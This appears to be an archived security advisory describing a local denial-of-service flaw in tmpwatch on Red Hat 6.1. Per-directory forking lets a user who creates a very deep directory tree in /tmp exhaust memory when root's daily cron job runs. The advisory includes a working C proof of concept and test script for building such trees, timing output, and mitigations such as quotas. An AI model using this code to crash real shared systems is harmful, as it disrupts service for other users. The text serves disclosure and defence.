|
Vulnerability tmpwatch Affected tmpwatch Description Zenith Parsec found following. Any user with write access to /tmp or /var/tmp can cause redhat 6.1 (and others runnng tmpwatch from cron) to stop responding, and possibly requre a hard reboot. tmpwatch is a utility for automatically removing files that have not been accessed for a specifiable period. This program runs as root, an although there are numerous protections against it being used to delete files it shouldn't, it does something very silly. It fork()s new copies of itself off. 1 new process per level deep it goes. or It goes down a level, and is now on the 1st level. It fork()s a new copy of itself, which waits until its new process of itself... goes down a level and fork()s a new copy of itself which waits until its new process of itself goes down a level... and fork()s a new copy of itself, which waits until its new process of itself goes down a level... and fork()s a new copy of itself, which waits ....... and finds no more works, so it pops back the the previous copy of itself, and each one in turn then follows suit, and pops back to the previous copy of itself, and pops back to the previous copy of itself, and pops back to the previous copy of itself, and pops back the final return result, which is returned from the 1st level, to the shell, as the exit() value. Not too bad for up to maybe 100 directory levels deep. Now imagine that scaled up, say 60 times. Make a directory 6000 deep in /tmp. At just after 4.00am the system will die. # grep daily /etc/crontab 02 4 * * * root run-parts /etc/cron.daily # cat /etc/cron.daily/tmpwatch /usr/sbin/tmpwatch 240 /tmp /var/tmp /usr/sbin/tmpwatch -f 240 /var/catman/{X11R6/cat?,cat?,local/cat?} # sleep --all-night sleep: unrecognized option `--all-night' # su zen-parse $ time xchat 0.73user 0.09system 37:50:06.12elapsed 13%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (51084major+137298minor)pagefaults 0swaps $ Code: ---START---cut---:a.c (mode 644) // // make lots of directories. // ./a <#of-dirs> // ./a with no arguments to delete dirs. main(int argc,char *argv[]) { int c=0,d=0; if (argc!=2) { while(!chdir("./A"))c++; chdir(".."); printf("c=%d removing\n",c); while(!rmdir("./A")) {chdir("..");c--;} if(c)printf("erm. bad thing.\n"); } else { c=atoi(argv[1]); printf("c=%d making.\n",c); while(c--) { mkdir("./A",0777); chdir("./A"); } } } --END---cut-----:a.c # ./testscript (code follows) ---START---cut---:testscript (mode 755) #!/bin/sh # clear the previous stuff. ./a rm ./timer.results touch timer.results # create a 1 deep ./a 1 >>timer.results time tmpwatch 240 . 2>>timer.results # create a 100 deep ./a 100 >>timer.results time tmpwatch 240 . 2>>timer.results # create a 200 deep ./a 200 >>timer.results time tmpwatch 240 . 2>>timer.results # create a 300 deep ./a 300 >>timer.results time tmpwatch 240 . 2>>timer.results # create a 400 deep ./a 400 >>timer.results time tmpwatch 240 . 2>>timer.results # create a 500 deep ./a 500 >>timer.results time tmpwatch 240 . 2>>timer.results # create a 600 deep ./a 600 >>timer.results time tmpwatch 240 . 2>>timer.results #tidy up. ./a >>timer.results --END---cut-----:testscript If you don't want to test it manually, here you will find the results on the tests on my machine. Who says you need an Athlon with cable or DSL. This program would probably die faster and more spectacularly on a fast machine with a huge amount of memory and swap space. Save anything important. And you have to run it as root. The crontab is an effective way of getting it run as root. Which it wants to do anyway. At about 4am everyday. --START---cut---:timer.results (mode 644) c=1 making. 0.00user 0.01system 0:00.00elapsed 125%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (96major+58minor)pagefaults 0swaps c=100 making. 0.01user 0.19system 0:00.19elapsed 100%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (96major+1797minor)pagefaults 0swaps c=200 making. 0.07user 0.40system 0:00.49elapsed 94%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (96major+3554minor)pagefaults 0swaps c=300 making. 0.10user 0.66system 0:00.76elapsed 99%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (96major+5308minor)pagefaults 0swaps c=400 making. 0.13user 1.33system 0:11.80elapsed 12%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (11766major+9445minor)pagefaults 1263swaps c=500 making. 0.15user 2.11system 0:22.38elapsed 10%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (14104major+13238minor)pagefaults 2699swaps c=600 making. 0.21user 2.81system 0:32.61elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (26066major+17781minor)pagefaults 4109swaps c=600 removing c=600 making. 0.11user 2.88system 0:36.14elapsed 8%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (25741major+17567minor)pagefaults 4009swaps c=700 making. 0.20user 4.24system 0:45.95elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (35562major+22180minor)pagefaults 5542swaps c=800 making. Command terminated by signal 2 0.00user 0.00system 6:01.87elapsed 0%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (102major+18minor)pagefaults 10swaps --END---cut-----:timer.results System is Cyrix-6x86 @ 187 MHz, 32M physical ram, 64M swap. ^C was pressed after about a minute into the 800 deep one. Several system programs died due to memory starvation. It took a quite a while afterwards before the console regained any usabilty. When Zenith tried to run startx, it refused to start. xfs had died. everything looked odd. Slow motion. i # uptime 9:00pm up 2:14, 2 users, load average: 202.28, 363.68, 186.46 That was a couple of minutes after running the test script. Solution First thing that comes to mind is: # chmod 400 /etc/cron.daily/tmpwatch # chmod 400 /usr/sbin/tmpwatch Generally, you can set quota limit for inode-softlimit and inode-hardlimit (you should set it for /tmp filesystem, when you have users on your machine). For example: inodes in use: 1, limits (soft =512 , hard = 1024) Then user can not create more than 1024 files or directories, Of course you can set more restrictive limits. The is one of the kinds of vulnerabilities that stmpclean has been designed to avoid. ftp://ftp.mccme.ru/users/shalunov/stmpclean-0.1.tar.gz